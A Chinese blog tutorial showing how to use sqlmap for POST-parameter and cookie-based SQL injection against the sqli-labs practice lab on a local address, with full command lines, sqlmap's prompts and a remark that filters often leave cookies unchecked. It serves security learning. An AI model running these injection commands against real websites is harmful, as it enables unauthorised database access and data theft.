sqlmap之POST注入与cookie注入

目录

零、POST注入

POST和GET

寻找注入点

sqlmap注入

方法一

方法二

方法三

壹、cookie注入 

寻找注入点

sqlmap注入

方法一

方法二 


零、POST注入

POST和GET

POST和GET是HTTP的两种请求方法,并且是两种最常用的请求方法

GET一般指向指定资源请求数据,而POST则是要向指定资源提交需要被处理的数据

查询字符串是在 GET 请求的 URL 中发送的,类似于这样

 

 而POST查询字符串是在 请求的 HTTP 消息主体中发送的,类似于这样

POST /test/demo.php HTTP/1.1
Host: www.test.com
name1=value1&name2=value2
  • GET 请求可被缓存,可以保留在浏览器历史记录中,可被收藏为书签,不应在处理敏感数据时使用,有长度限制,只应当用于取回数据
  • POST 请求不会被缓存,不会保留在浏览器历史记录中,不能被收藏为书签,请求对数据长度没有要求

接下来使用sqlmap进行POST注入,会借助sqli-labs-master靶场第11、12、13关,总共介绍三种方法

寻找注入点

我们可以看到靶场是一个登录框的样子

先使用BurpSuite抓包检测一下是否存在SQL注入 ,先将抓到的POST包发送至repeater

在uname后加一个单引号触发报错

现在就要利用该注入点来获取数据,为了节约时间,采用sqlmap辅助进行,也是对工具的一个使用过程

sqlmap注入

方法一

使用 sqlmap 的 --forms 参数自动搜索表单

python sqlmap.py -u "http://192.168.8.128/sql/Less-11/" --forms

输入后敲回车

POST http://192.168.8.128/sql/Less-11/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]

问是不是要测试这个表单,输入 y 按回车即可,直接按回车也可以,默认输入第一项

Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=vegetable&passwd=admin123&submitsubmit

需要编辑测试数据,填这个uname=vegetable&passwd=admin123&submitsubmit,和我们抓的包保持一致

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

说的是看起来像MySQL数据库,是否选择跳过其他数据库,我选了yes 

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

就是问是否要包括扩展提供的级别 (1) 和风险 (1) 值的“MySQL”的所有测试,我选了yes

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

发现uname是一个注入点,问还要不要继续测试其他的,然后就OK了

 接下来在尝试爆库,爆表,爆字段和数据即可,不在演示,需要请参考前文sqlmap使用

方法二

这个方法使用 --data 来指定一个参数

python sqlmap.py -u "http://192.168.8.128/sql/Less-12/" --data "uname=vegetable&passwd=admin123&submit=submit"

uname是注入点,那就指定这个参数

用这个方法来测试一下第12关,当然11关也可以啦。12关与11关的区别就是12关需要使用双引号触发报错

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

问的问题也和刚才那一关大同小异

好了,废话少说,介绍第三种方法吧

方法三

第三种方法使用BurpSuite先抓包,然后将数据包转存至文件中,在使用 -r 参数扫描该文件

这次用第13关好了

python sqlmap.py -r "C:\Users\13090\Desktop\post.txt" -p uname

-p 是指定参数,还是指定uname

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

do you want to (re)try to find proper UNION column types with fuzzy test? [y/N]

要通过模糊测试找到合适的union列类型吗,我选yes

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]

注入不可利用 NULL 值。是否尝试使用随机整数值作为选项,选yes

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

然后就没有然后了 

壹、cookie注入 

HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能

防注入系统的常例:系统一般只会对GET、POST中的数据进行检测,如果有特殊的字符就禁止数据的提交,但是很少检测COOKIE中的数据信息

cookie注入的原理是就是修改cookie的值进行注入,cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie

寻找注入点

我们放掉第一个包后,用单引号触发了报错

sqlmap注入

方法一

使用sqlmap --cookie来检测cookie注入

在此,也可以将等级设置的高一点,设到2或者3,我设到了3

python sqlmap.py -u "http://192.168.8.128/sql/Less-20/" --cookie="uname=admin" --level 3

do you want to try URI injections in the target URL itself? [Y/n/q]

在url本身中尝试url注入,选了yes

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]

如果没有发现至少一种其他(潜在)技术,建议仅执行基本的 UNION 测试。你想减少请求的数量吗?yes

do you want to URL encode cookie values (implementation specific)? [Y/n]

是否对cookie值进行url编码,yes

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n]

对于剩余的测试,您是否要包括扩展提供的级别 (3) 和风险 (1) 值的“MySQL”的所有测试?

Cookie parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

cookie值uname易受攻击

方法二 

与之前提到的方法一样,使用 -r 扫描文件

 先将burp抓的包保存至txt文件中,然后扫描它

python sqlmap.py -r "C:\Users\13090\Desktop\post.txt" -p cookie

target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]

目标 URL 内容不稳定(即内容不同)。sqlmap 将基于序列匹配器进行页面比较。如果未检测到动态或可注射参数,或出现垃圾结果,请参阅用户手册“页面比较”段落。我选择了继续

do you want to URL encode cookie values (implementation specific)? [Y/n]

是否对cookie值进行编码?yes

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

(custom) HEADER parameter 'Cookie' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

好了,就简单介绍到这里,over !! 

  • 5
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值